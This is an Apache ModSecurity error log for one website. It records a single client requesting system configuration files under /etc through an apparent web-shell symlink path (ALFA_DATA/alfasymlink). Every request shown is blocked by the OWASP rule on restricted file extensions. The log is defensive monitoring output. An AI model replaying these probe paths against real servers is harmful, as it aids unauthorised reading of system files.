[Sun Oct 25 14:29:44.192941 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65503] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "at5KmHNQSJj6g_R4pvfwcQAAABI"]
[Sun Oct 25 14:29:44.193213 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65503] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "at5KmHNQSJj6g_R4pvfwcQAAABI"]
[Sun Oct 25 14:29:44.241296 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65500] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "at5KmEYY36dVli09oOhVdgAAAAw"]
[Sun Oct 25 14:29:44.241738 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "at5KmEYY36dVli09oOhVdgAAAAw"]
[Sun Oct 25 14:29:44.242080 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:65500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "at5KmEYY36dVli09oOhVdgAAAAw"]
[Sun Oct 25 14:29:44.242322 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:65506] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at5KmOaKFKmIDvm_U3f1qQAAABk"]
[Sun Oct 25 14:29:44.242548 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:65506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at5KmOaKFKmIDvm_U3f1qQAAABk"]
[Sun Oct 25 14:29:44.242793 2026] [security2:error] [pid 2880775:tid 2880775] [client 76.135.135.39:65506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/copr.conf"] [unique_id "at5KmOaKFKmIDvm_U3f1qQAAABk"]
[Sun Oct 25 14:29:44.328503 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:65516] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/limits.conf"] [unique_id "at5KmLFCIv3LB15s-_e9kQAAAAM"]
[Sun Oct 25 14:29:44.328809 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:65516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/limits.conf"] [unique_id "at5KmLFCIv3LB15s-_e9kQAAAAM"]
[Sun Oct 25 14:29:44.329046 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:65516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/limits.conf"] [unique_id "at5KmLFCIv3LB15s-_e9kQAAAAM"]
[Sun Oct 25 14:29:44.330631 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:65521] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/group.conf"] [unique_id "at5KmNId4uiAK8m2gJn9MQAAAAQ"]
[Sun Oct 25 14:29:44.331070 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:65521] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/group.conf"] [unique_id "at5KmNId4uiAK8m2gJn9MQAAAAQ"]
[Sun Oct 25 14:29:44.331354 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:65521] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/group.conf"] [unique_id "at5KmNId4uiAK8m2gJn9MQAAAAQ"]
[Sun Oct 25 14:29:44.342907 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65526] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at5KmKi7oKzIlJx03ipNZwAAAAE"]
[Sun Oct 25 14:29:44.343235 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65526] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at5KmKi7oKzIlJx03ipNZwAAAAE"]
[Sun Oct 25 14:29:44.343526 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65526] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at5KmKi7oKzIlJx03ipNZwAAAAE"]
[Sun Oct 25 14:29:44.414874 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65534] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/spacewalk.conf"] [unique_id "at5KmJKSFHHoiviJa5dqoAAAAAo"]
[Sun Oct 25 14:29:44.415355 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/spacewalk.conf"] [unique_id "at5KmJKSFHHoiviJa5dqoAAAAAo"]
[Sun Oct 25 14:29:44.415736 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:65534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/spacewalk.conf"] [unique_id "at5KmJKSFHHoiviJa5dqoAAAAAo"]
[Sun Oct 25 14:29:44.417987 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:49162] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/universal_hooks.conf"] [unique_id "at5KmMO5MiLAYQWXs3NDOQAAAAc"]
[Sun Oct 25 14:29:44.418301 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:49162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/universal_hooks.conf"] [unique_id "at5KmMO5MiLAYQWXs3NDOQAAAAc"]
[Sun Oct 25 14:29:44.418668 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:49162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/universal_hooks.conf"] [unique_id "at5KmMO5MiLAYQWXs3NDOQAAAAc"]
[Sun Oct 25 14:29:44.488902 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:49182] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/dnf.conf"] [unique_id "at5KmLmAKu18kw3DYL-PSAAAAA8"]
[Sun Oct 25 14:29:44.489213 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:49182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/dnf.conf"] [unique_id "at5KmLmAKu18kw3DYL-PSAAAAA8"]
[Sun Oct 25 14:29:44.489508 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:49182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/dnf.conf"] [unique_id "at5KmLmAKu18kw3DYL-PSAAAAA8"]
[Sun Oct 25 14:29:44.490902 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:49183] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/setup.conf"] [unique_id "at5KmGT7SK5esjpOWSjqxQAAABY"]
[Sun Oct 25 14:29:44.491113 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:49183] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/setup.conf"] [unique_id "at5KmGT7SK5esjpOWSjqxQAAABY"]
[Sun Oct 25 14:29:44.491335 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:49183] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/setup.conf"] [unique_id "at5KmGT7SK5esjpOWSjqxQAAABY"]
[Sun Oct 25 14:29:44.514457 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:49200] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/sudo.conf"] [unique_id "at5KmItGhKGouuv1pXBVrgAAAAY"]
[Sun Oct 25 14:29:44.514767 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:49200] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/protected.d/sudo.conf"] [unique_id "at5KmItGhKGouuv1pXBVrgAAAAY"]
